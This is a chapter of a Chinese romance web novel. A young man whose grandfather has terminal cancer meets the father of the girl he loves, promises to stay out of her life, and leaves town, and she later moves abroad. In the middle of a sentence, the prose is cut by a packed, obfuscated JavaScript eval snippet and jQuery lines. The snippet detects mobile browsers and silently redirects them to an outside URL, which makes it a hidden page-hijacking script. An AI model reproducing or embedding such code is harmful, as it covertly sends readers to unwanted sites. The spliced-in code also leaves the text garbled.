24. 再也看不见。
作品:《大小姐》 林老爷子得了肺癌,晚期。
林亦扬坐在医院长廊,低垂着眼睛看着报告,医生的话还回荡在耳边。
“癌细胞已经扩散了,这边医疗资源和条件都不先进,去大医院看看吧,机会会大一点。”
病房里林老爷子的咳嗽声一阵一阵传来,这几天他咳的血越来越多,等不了太久了,得立刻作出决定。
林亦扬拨了个电话,打给所幸游戏厅的老板。
“哥,提前结一下我的工资吧,我之后都不来了。”
“出什么事了?”林老爷子生病这事林亦扬谁也没提,老板此刻从电话里问他。
“带我爷爷去别的城市看个病,顺便在那边安定下来。”
“不回来了?”老板声音微沉,“病得很严重吗?”
“不算严重。”林亦扬抿唇说,“这几年谢谢你,哥。”
“搞得跟生离死别一样,工资我过会儿就去打给你,你要回来了请我喝酒,我们再聚。”老板声音虽然轻快,但面色不怎么好,如果真的不严重,哪里需要去别的城市安定,他其实还想问林亦扬有没有跟周依婧说,话到嘴边又吞了回去,到底是他们两个人的事。
又扯了两句,林亦扬挂掉电话,进房间给老爷子收拾准备出院。手机贴着裤子口袋嗡嗡震动两下,他拿出来看了眼,老板不仅把工资打了过来,还多给了他一千块,他皱起眉,正准备给对方回电话,就收到了消息。
“不要急着把钱退回来,你在游戏厅的这几年帮我管得很好,这是这几年攒一起给你的奖金,生病要花钱,去新的地方安定也要花钱,收着吧,”
林亦扬怎么会看不出老板的意图,但后面半句话说的不错,所以他没有矫情拒绝,由衷向老板道了谢。
宣淮的春天总是很多雨,带着倒春寒的凉,风一吹,林老爷子就咳得厉害。林亦扬分了两趟,先送老爷子回家,再来和医生对一下情况,并把剩下的东西拿回去。
·
湿冷的空气混着消毒水的味道直往林亦扬鼻子里钻,他刚从医生办公室出来,拉了下外套拉链准备回家,低头不注意碰掉了来人手里的手机。
“对不起。”林亦扬弯腰将手机捡起来,是和周依婧一样的苹果最新款,仔细看了两眼没在光滑的屏幕上看到划痕裂痕,他松了口气,递给对方。
抬眸时,两人都愣住了。
林亦扬盯着对方,觉得有些熟悉,而对方却是直接眯起了眼,不容置疑的语气喊出了他的名字。
“我们,认识?”林亦扬皱起眉,疑惑地问。
“是我单方面认识你。”周成笑起来,将手机放回口袋,对着林亦扬自我介绍,“我叫周成,周依婧的父亲,听她提起过你,既然有缘碰到了,方便聊聊吗?”
周依婧的父亲。
林亦扬心咯噔一跳,下意识又看了周成一眼,怪不得会觉得熟悉,他和周依婧在轮廓线条和鼻子上,挺像。他伸手扯了扯外套下摆,希望能让自己看起来整洁精神些:“方便。”
周成让助理拿着报告先去医生那儿,随后带着林亦扬走向了楼梯间。
“我看你从医生办公室出来,生病了?还是家人生病了?”
“家人。”林亦扬掌心罕见地冒汗,一颗心悬而又悬,不知道对方这场谈话的目的是什么。
“还好吗?”周成关心道。
“还好。”
周成便点点头,没再多问,转而开启另一个话题:“你和依婧,有在恋爱吗?”
林亦扬唰地抬头,很快就否认:“当然没有。”
周成看到林亦扬眼中露出的疑惑,解释道:“她没和我说太多你们的关系,但我作为一个父亲,肯定想了解多一点。”
“所以,我调查过你。”
那把悬在心上的刀落了,林亦扬反而觉得轻松了些,很浅地笑了下。
周成一直关注了林亦扬,发现他除了笑了下后没有别的反应,便继续说了下去:“我对你并不了解,无法确定你是否像我女儿口中说得那么好,但我看了那些资料,我不认为你们应该继续相处接触下去。”
“依婧不会在宣淮住很久,她以后或许会出国,或许会去其他一线城市,会遇见很多人,遇见有学识见解阅历经验的,她以后的生活中应该是这些人。”周成没把话完全揭开,只看向林亦扬,带着上位者惯有的口吻问:“你明白吗?”
林亦扬平静地听着,眼眸像没有波澜的湖水,周成说的这些他当然听懂了,但这些话也伤害不了他分毫,他满脑子只想到周依婧无数次期盼周成回来的亮眼,以及无数次因为失望蓄起的泪水。
“周先生,您知道周依婧在家里等过您很多次吗?”林亦扬抬头,直直对上周成带着些压迫性的目光,平稳地开口,“因为知道您要回来,特意让王妈做辣的菜,因为想到您可能会回来,玄关的灯每天都开着,除夕夜的晚饭宁愿饿了吃泡面也想把菜留到您回来一起吃。这些您知道吗?”
“她每次有多期待,您的不出现就会让她有多失望,但哪怕已经有那么多次,在听到您会回来时,还是会开心。”
周成眼里闪过一丝诧愕,愣怔在原地,沉默地看着林亦扬,一瞬间没了上位者的威严,更像是一个只能从别人口中听到自己孩子另一面的无力的父亲。
“因为您是她的父亲,是她在这个世界上剩下的唯一的亲人,所以她哪怕很失望很伤心,还是一如既往地靠近您。”林亦扬语速不紧不慢,心却像被纸划了一道细小的口子,想到周依婧的泪水的滋味并不好受,“我没有立场说这些,但既然今天遇见了您,我不吐不快。”
“刚刚看您也要进去看医生,应该是瞒着周依婧的吧。”林亦扬的语气确定,停顿两秒接着说,“不论严不严重,周依婧也应该有知情权,您和她说工作忙,如果哪天发现这是您骗她的,就来不及挽回了。”
“因为受过她的帮助,我不想看到她和您因为误会越走越远,更不想看她因此讨厌怀疑自己。”
“我想说的就这么说。”林亦扬说完垂下眼,长睫轻轻眨了两下,楼道没有光,只有门口的光线半明半昧地透过来,他微微低下头,光线彻底照不到他的脸,放轻了声音说,“至于您刚刚说的,我明白。不过您可以放心,我从来没有想和周依婧在一起的念头,我清晰知道我的情况和位置。”
“而且——”
林亦扬深吸一口气,说:“我马上就要离开宣淮了,不会和她再有联系。我们这次见面,也没有必要向她提起。”
“希望您和周依婧开心、幸福。”林亦扬语气真诚,他扬起笑,抬头和周成道别,“周先生,我先走了。”
再见这个常见的告别语放在这里不合适,林亦扬便不再说,只倒退去门边时挥了挥手,跨出阴影的那一刻决绝地转身离开。
周成在原地愣了两秒,随后微微蹙起眉像在思考,也跨步离开了楼梯口。
走廊的光透进来,映着瓷质发光的地面,刚刚林亦扬站着的地面,有一滴很小的晶莹,闪烁着细微的光。
大步走出医院大楼,凉风挂着脸颊,林亦扬脸上的笑再也维持不下去,心里那道细小的伤口被双氧水一浇,疼得人眼眶发胀。
承认和周依婧的差距并不足以让他难受,事实如此,他也知道自己不会一直困在这里,所以这些伤不到他,从没想过在一起也是真心话,他不过是被太阳照到片刻,凭什么妄想得到太阳。
真正让他眼睛发热鼻子发酸的,是想到以后很难再见。
宣淮的雨季太多了,被太阳照耀的晴天是会让人上瘾的。
而他即将经历一场无期的饮鸩止渴般的戒断。
怎么会不难受呢?
林亦扬回到家,由于老爷子的身体坐不了飞机,便只能买了连夜的火车票,尽早转去大医院。他飞快地收拾好自己和林老爷子的衣服,将屋子里的大型家具都盖上一层布,收拾差不多后锁了门,马不停
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13731527|143297||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
蹄背着老爷子去火车站。
出门已经是凌晨,没下雨,一片寂静,只偶尔有几声犬吠,地面湿漉漉的,映出破碎的月光。
林亦扬一脚不小心踩进一个水坑,里面的月光只是晃了晃,他艰难地抬头,层层叠叠的云慢慢飘过,那轮月亮就这样高洁地高悬夜空,神圣,不可侵犯,谁都不能将其染指。
月亮有照亮它的太阳。
他只要这一抔水洼里的月光。
·
周依婧一连几天给林亦扬发消息都没回应,周成发消息说下周出差回来陪她,两人的反常让她有些错乱,看到周成回来的开心也抵不过对林亦扬的担忧,尤其眼皮还一直跳,跳得她本就因班里低落的情绪更变得惴惴不安。
从来没有出现过这种情况,林亦扬哪怕晚回一会儿,也会及时说清楚,像现在这样几天不联系,她发消息不回,实在很不对劲。
这周一结束,周依婧就跑去了林亦扬家,回应她的,只有一扇锁上的门。
打不通的电话在掌心震动,无人应答的敲门声在小巷响起。
直到隔壁楼上窗口探出一个小男孩,声音清脆地说:“别敲啦,他们走啦,老爷爷生病,亦扬哥哥带他走啦。”
周依婧停下敲门的手,失魂落魄地抱着膝盖坐到门边,天空灰蒙蒙又下起斜斜细雨,凉丝丝的雨往脸上飘,仿佛要让她清楚地知道林亦扬走了,不告而别。
第一反应不是生气,是懊恼。
懊恼自己不知道林爷爷的病,没有帮上忙,又因此生气,气林亦扬遇到事情竟然不来找她,林爷爷生病这么大的事都不告诉她。她和林亦扬之间像隔了一条江,永远只有她穿过桥去找对方,一旦桥被冲走,他们就此杳无音讯。她走到江边,隔着滔滔江水眺望对面,看到的只有一片被白雾笼罩的森林。
她是真的真的,很讨厌不告而别。
但如果那个人是林亦扬,她想,她会选择原谅的。
就像她原谅妈妈的抛弃一样。
青春好像宣淮的天,时而落雨阴云漫天,时而放晴碧空万里。周依婧觉得命运是在弥补她的,林亦扬走后,周成主动和她沟通,说其实很多次不是工作是生病了不想让她担心,悄悄去医院治疗,后来周成每一次就诊她都陪着,而在班里,她和宋冬他们的关系好了起来,时常和他们一起,比有着一堆跟班的日子快乐多了。
可每一个欢笑的瞬间,每一次捕捉到任宥看向宋冬的眼神时,她都会想到林亦扬,大脑在思考和运转之前就发出一声感叹:要是林亦扬在就好了。
后来周依婧决定出国,原因是周成选择继续回到国外治疗,公司重心在那儿,之前每次回来都是带着药和报告到宣淮继续治疗,两边来回折腾不利于恢复,她干脆跟着周成走。
飞机划向上空时,周依婧恍惚想到三年前初到宣淮的那个暑假,林亦扬悄无声息买了飞往北京的机票,在一个鸟鸣蝉躁的早晨,带着她飞去见了妈妈。少年用笨拙直白的方法,轻轻抚平了她耿耿于怀的褶皱。
竟然已经过去三年了。
周依婧贴着玻璃,鼻尖感受着凉意,企图借此止住眼眶的酸软。
三年,她的书包换了十个,王妈的女儿上了大学,所幸游戏厅关闭换成了咖啡厅,宣淮的很多细枝末节都变了又变,她却还记得见到林亦扬的第一面——慌乱下抓住的手臂,垂眸时锋利的视线,上挑的眉梢,冷沉的声音,阴差阳错的男友,指路的精神病院。所有的细节她都记得一清二楚,在许多个黑夜反复拿出来回想。
三年改变了宣淮的细枝末节,却没有改变周依婧心里那份回忆。
同样不变的,是滚滚东流的江水,江对岸白茫茫的雾,和大雾中挺拔的松树林。
周依婧没有和林亦扬取得一丝一毫的联系。
她带着杳无音讯踏上去美国的飞机,承载她青春欢笑眼泪与悸动的宣淮随着飞机的上升逐渐变小,最后被云层遮住,再也看不见。